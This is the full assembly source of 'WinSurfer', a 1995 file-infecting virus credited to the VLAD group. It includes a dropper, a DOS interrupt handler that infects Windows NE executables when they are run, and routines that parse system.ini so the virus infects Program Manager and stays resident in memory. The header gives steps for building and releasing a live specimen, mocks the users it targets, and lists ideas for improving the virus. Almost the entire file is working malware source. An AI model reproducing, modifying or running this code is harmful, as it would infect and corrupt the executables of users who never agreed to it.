;------------------------------------------------------------------------- ; ; WinSurfer Virus (c) 1995 VLAD incorporated. ; Written by qark and quantum. ; ; This virus is a parasitic TSR infector of NewEXE files. It works in ; protected mode only and infects on file execute. ; ; The executable infection code is by qark, while the interrupt handler ; code is by quantum. ; ; This virus contains no stealth of any form, a simple readonly attribute ; will stop the virus from writing, the time/date stamp is not preserved ; and there is no encryption of any form. Windows users are too dumb to ; notice anyway. ; ; To obtain a specimen of the virus, copy the compiled com file into the ; same directory as the file WINMINE.EXE and run it. Go into Windows ; and run the game 'Minesweeper'. Minesweeper should infect program ; manager direct action, so that next time windows is booted the virus ; will be resident. ; ; Possible Bugs and Improvements: ; 1) An error may be that if the file isn't exactly shift alignment sized ; the virus will overwrite some data at the end of the file or be ; incorrectly pointed. ; 2) An error may occur if the end of the segment table is less than eight ; bytes from a 512 byte divisor. ; 3) It may be possible to allocate buffer space without adding to virus ; size by changing the segment memory size in the segment table. At the ; moment the virus size is being doubled by the 512 byte read buffer we ; include in the disk image. ; ; Although the final virus was coded completely by quantum and I, many ; people helped by offering ideas, and windows documentation so I ; must give thanks to the following people: ; Screaming Radish, Stalker X, Dreadlord and some scandinavian dude. ; The most important help came from Malware who taught me the relocation ; entry ffff trick. ; ; Assemble with a86. ;------------------------------------------------------------------------- ;--Directly below is dropper code, ignore it, page down to the virus code-- mov ax,3d02h mov dx,offset fname int 21h xchg bx,ax mov ah,3fh mov cx,512 mov dx,offset buffer int 21h mov si,offset buffer cmp word ptr [si+3ch],400h je ok_dropper int 20h ok_dropper: mov ax,word ptr [si+2] mov word ptr ppage,ax mov ax,word ptr [si+4] mov word ptr pfile,ax mov ax,4200h xor cx,cx cwd int 21h mov ah,40h mov cx,offset setsp - offset header mov dx,offset header int 21h mov ax,4200h xor cx,cx mov dx,word ptr [si+3ch] int 21h mov ah,3fh mov cx,512 mov dx,offset buffer int 21h mov ax,word ptr [si+1ch] inc word ptr [si+1ch] ;increase segment count mov cl,8 mul cl mov di,word ptr [si+22h] add di,si add di,ax mov ax,4202h xor cx,cx cwd int 21h ;write in the new segment into the table mov cl,byte ptr [si+32h] push bx mov bx,1 shl bx,cl mov cx,bx pop bx div cx mov word ptr [di],ax mov word ptr [di+2],winend-win_entry mov word ptr [di+4],180h mov word ptr [di+6],winend-win_entry mov ax,word ptr [si+14h] mov word ptr winip2,ax mov word ptr [si+14h],0 mov ax,word ptr [si+16h] mov word ptr wincs2,ax mov ax,word ptr [si+1ch] ;new cs:ip mov word ptr [si+16h],ax mov ah,40h mov cx,winend-win_entry + 20h mov dx,offset win_entry int 21h add word ptr [si+4],512 add word ptr [si+24h],512 add word ptr [si+26h],512 add word ptr [si+28h],512 add word ptr [si+2ah],512 mov dx,512 mov ax,4200h xor cx,cx int 21h mov ah,40h mov cx,512 mov dx,offset buffer int 21h mov ah,3eh int 21h int 20h ;--The New Windows DOS stub-- header db 'MZ' ppage dw 0 ;part page pfile dw 0 ;file/512 dw 0 ;relocation items dw 10h ;header size/16 dw 0 ;minmem dw -1 ;maxmem dw 0 ;SS dw offset setsp - offset winstart ;SP dw 0 ;checksum dw 0 ;IP dw 0 ;CS dw 40h ;Relocation offset dupsize1 equ 3ch - ($-offset header) db dupsize1 dup (0) dw 200h ;NE offset dupsize2 equ 100h - ($-offset header) db dupsize2 dup (0) winstart: call windowsmsg db 'This program requires Microsoft Windows.',0dh,0ah,'$' windowsmsg: pop dx push cs pop ds mov ah,9 int 21h mov ax,4c01h int 21h db 100 dup (0) setsp: ;---end of fake dropper dos stub-- fname db 'winmine.exe',0 ;----Start of the Virus---All the above is the dropper code, ignore it------- win_entry: ;Infected windows executables start here. jmp realenter int21start: ;Virus Int21 handler cmp ax,1894h ;Residency test ? jnz nottest mov cx,1234h iret nottest: pusha push ds push es cmp ah,4bh ;Windows is so dumb it uses DOS to ;execute. jnz return2int call executing return2int: pop es pop ds popa db 0eah oldint21 dw 0,0 executing: mov ax,3d02h ;Open file in DS:DX int 21h jnc ok_open ret ok_open: push ax mov ax,0ah ;This function makes our CS writable. push cs pop bx int 31h push ax pop ds pop bx mov ah,3fh ;Read first 512 bytes of EXE header. mov cx,512 mov dx,offset buffer-offset win_entry int 21h mov si,offset buffer-offset win_entry cmp word ptr [si],'ZM' ;Not a COM file. jne bad_open cmp word ptr [si+18h],40h ;40h+ for NE exe's jb bad_open cmp word ptr [si+3ch],400h ;header will be below if je fileisoktoinfect ;already infected... bad_open: jmp fileisunsuitable fileisoktoinfect: sub word ptr [si+3ch],8 ;Change NE pointer. sub word ptr [si+10h],8 ;Incase stack is end of header mov ax,4200h ;Lseek right back to the start. xor cx,cx cwd int 21h mov ah,40h ;Rewrite the modified DOS header. mov cx,512 mov dx,offset buffer - offset win_entry int 21h jc bad_open ;Write fail.. outta here! mov ax,4200h ;Lseek to NE header. xor cx,cx mov dx,400h int 21h mov ah,3fh ;Read in first 512 bytes. mov cx,512 mov dx,offset buffer - offset win_entry int 21h ;Adjust header offsets. Any tables behind the segment table will ;have their offset increased by eight because we are inserting a new ;eight byte segment entry. mov ax,word ptr [si+22h] ;AX=Segment table offset. cmp word ptr [si+4],ax jb ok_et add word ptr [si+4],8 ok_et: cmp word ptr [si+24h],ax jb ok_rt add word ptr [si+24h],8 ok_rt: cmp word ptr [si+26h],ax jb ok_rnt add word ptr [si+26h],8 ok_rnt: cmp word ptr [si+28h],ax jb ok_mrt add word ptr [si+28h],8 ok_mrt: cmp word ptr [si+2ah],ax jb ok_int add word ptr [si+2ah],8 ok_int: mov ax,word ptr [si+1ch] inc word ptr [si+1ch] ;Increase segment count. mov cl,8 ;Assume less than 256 segments. mul cl add ax,word ptr [si+22h] ;AX=Size of segment table. xor dx,dx ;High order division value. mov cx,512 ;512 byte portions are used ; for the reads later on. div cx mov word ptr [offset ne_size-offset win_entry],ax ;How much we'll have to read. mov word ptr [offset last_ne-offset win_entry],dx ;Where the end of the segment table ; will be when we read it into the ; buffer. (The last buffer) ;Put the original CS:IP into our relocation table. push word ptr [si+14h] pop word ptr [offset newwinip2 - offset win_entry] push word ptr [si+16h] pop word ptr [offset newwincs2 - offset win_entry] ;Save the alignment shift count because we need that for calculating ;the offset of our segment when writing the segment entry. push word ptr [si+32h] pop word ptr [offset al_shift - offset win_entry] ;Point CS:IP to the virus. mov word ptr [si+14h],0 ;The new IP mov ax,word ptr [si+1ch] mov word ptr [si+16h],ax ;The new CS ;Initialise the lseek variable mov word ptr [offset lseek-offset win_entry],400h ;The below code gets the NE header and keeps moving it forward by ;eight bytes in 512 byte chunks. move_header_forward: mov ax,word ptr [offset ne_size-offset win_entry] or ax,ax jz last_page dec word ptr [offset ne_size-offset win_entry] mov ax,4200h ;Lseek to our current position. xor cx,cx mov dx,word ptr [offset lseek-offset win_entry] sub dx,8 int 21h mov ah,40h ;Write the header section out. mov cx,512 mov dx,si int 21h ;Advance the pointer by 512. add word ptr [offset lseek-offset win_entry],512 mov ax,4200h ;Lseek to the next chunk. xor cx,cx mov dx,word ptr [offset lseek-offset win_entry] int 21h mov ah,3fh ;Read it. mov dx,offset buffer - offset win_entry mov cx,512 int 21h jmp move_header_forward last_page: mov ax,4202h ;Lseek to end of file. xor cx,cx cwd int 21h ;File length into DX:AX ;DX:AX=File offset of our segment ;Below section shifts the segment offset right by the alignment ;shift value. mov cl,byte ptr [offset al_shift - offset win_entry] push bx mov bx,1 shl bx,cl mov cx,bx pop bx div cx mov di,si add di,word ptr [offset last_ne-offset win_entry] ;Adding the new segment table entry mov word ptr [di],ax ;Segment offset mov word ptr [di+2],offset winend-offset win_entry mov word ptr [di+4],180h ;Segment attribute ; 180h = NonMovable + Relocations mov word ptr [di+6],offset winend-offset win_entry mov ax,4200h ;Lseek to next position. xor cx,cx mov dx,word ptr [offset lseek-offset win_entry] sub dx,8 int 21h mov ah,40h ;Write rest of NE header + new seg entry. mov cx,word ptr [offset last_ne-offset win_entry] add cx,8 ;Added segment entry means eight more. mov dx,offset buffer - offset win_entry int 21h ;Reset the relocatable pointer. push word ptr [offset winip - offset win_entry] push word ptr [offset wincs - offset win_entry] mov word ptr [offset winip - offset win_entry],0 mov word ptr [offset wincs - offset win_entry],0ffffh mov ax,4202h ;Lseek to end of file. xor cx,cx cwd int 21h mov ah,40h ;Write main virus body. mov cx,offset winend-offset win_entry xor dx,dx int 21h pop word ptr [offset wincs - offset win_entry] pop word ptr [offset winip - offset win_entry] mov ah,40h ;Write the relocation item. mov cx,offset winend-offset relocblk mov dx,offset relocblk-offset win_entry int 21h fileisunsuitable: mov ah,3eh ;Close file. int 21h ret prefix db 'hell=' windir db 'indir=' systemfile db 'system.ini',0 NE_Size dw 0 Last_NE dw 0 Al_Shift dw 0 LSeek dw 0 progman db 0 ;1=Program Manager envir dw 0 ;environment segment pathbuff db 142 dup (0) realenter: pusha push si push di push ds push es mov ax,1686h ;Is DPMI available ? int 2fh or ax,ax jz dpmifound no_dpmi: jmp alreadyinmem dpmifound: mov ax,000ah ;Make CS writable. push cs ;Protected mode isn't protected. pop bx int 31h ;Use DPMI. push ax pop ds xor cx,cx ;Check if resident. mov ax,1894h int 21h cmp cx,1234h ;Must be resident.. jz no_dpmi cmp byte ptr [offset progman - offset win_entry],1 jne direct_progman mov byte ptr [offset progman - offset win_entry],0 ;Can't go TSR off any program but program manager. mov ax,0204h ;Get real mode interrupt vector. mov bl,21h int 31h mov ds:[offset oldint21 - win_entry],dx mov ds:[offset oldint21 - win_entry + 2],cx push cs pop cx mov dx,offset int21start-win_entry mov ax,0205h mov bl,21h int 31h ;Set real mode interrupt vector. jmp alreadyinmem direct_progman: ;Next portion of code searches for the environment variable ;'windir' and places that before the files we access. ;On entry ES=PSP mov ax,word ptr es:[2ch] ;PSP:[2ch]=Environment segment. cld mov es,ax mov al,'w' ;w from windir mov cx,-1 xor di,di mov dx,di dir_loop: mov di,dx repnz scasb mov dx,di mov si,offset windir-win_entry push cx mov cx,6 repe cmpsb ;indir from windir pop cx jne dir_loop mov si,di mov ax,ds push es pop ds mov es,ax mov cx,128 mov di,offset pathbuff-win_entry rep movsb ;Move it into our path buffer. push es pop ds mov di,offset pathbuff-win_entry mov al,0 mov cx,128 repnz scasb mov byte ptr es:[di-1],'\' ;Add a slash behind the path. mov si,offset systemfile -offset win_entry mov cx,11 rep movsb ;The below code reads in the 'system.ini' file and searches for ;the 'shell=' value, and infects the program specified by it. ;The windows shell (eg program manager) is always active in memory ;and we use it to go resident off. mov ax,3d02h mov dx,offset pathbuff -offset win_entry int 21h jc alreadyinmem xchg bx,ax mov ah,3fh mov cx,512 mov dx,offset buffer -offset win_entry int 21h mov ah,3eh int 21h push ds pop es mov di,offset buffer-offset win_entry mov dx,di cld mov cx,512 shell_loop: mov di,dx mov al,'s' ;The 's' in 'shell=' repne scasb jne alreadyinmem mov dx,di mov si,offset prefix -offset win_entry ;Test for 'hell=' push cx mov cx,5 repe cmpsb pop cx jne shell_loop mov si,di ;Offset of filename into DX. mov al,'.' ;The dot in the filename extension. mov cl,0ffh repne scasb add di,3 ;Point to past the filename. mov byte ptr es:[di],0 ;Add a zero to make it asciiz. mov di,offset pathbuff-win_entry mov al,0 mov cx,128 repnz scasb ;Search for the 0 at the path end. dec di mov al,'\' ;Now find the last backslash. mov cx,128 std ;Scan backwards. repnz scasb cld inc di ;DI points behind the final '\' inc di mov cx,15 rep movsb ;Append the shell program name. mov dx,offset pathbuff-win_entry mov byte ptr [offset progman - offset win_entry],1 call executing mov byte ptr [offset progman - offset win_entry],0 alreadyinmem: pop es pop ds pop di pop si popa db 0eah ;JMP FAR PTR xxxx:xxxx winip dw 0 wincs dw 0ffffh ;Needs to be FFFF due to windows ; relocation item format. buffer db 512 dup (0) ;Below is the relocation item format. What ours does is turn the far jump ; above us into a jump to the original CS:IP. relocblk dw 1 ;Signal only one relocation item. db 3 ;32 bit pointer relocation. db 4 ;Additive relocation (unsure, but ; it doesnt work unless you put this) dw offset winip-offset win_entry ;Relocation offset. newwincs2 dw 0 ;Target of the relocation. (We use newwinip2 dw 0 ; the original host CS:IP) winend: ;The actual virus ends here. ;-----End of the Virus---Below is dropper code----------------------------- dw 1 db 3 db 4 dw offset winip - offset win_entry wincs2 dw 0 winip2 dw 0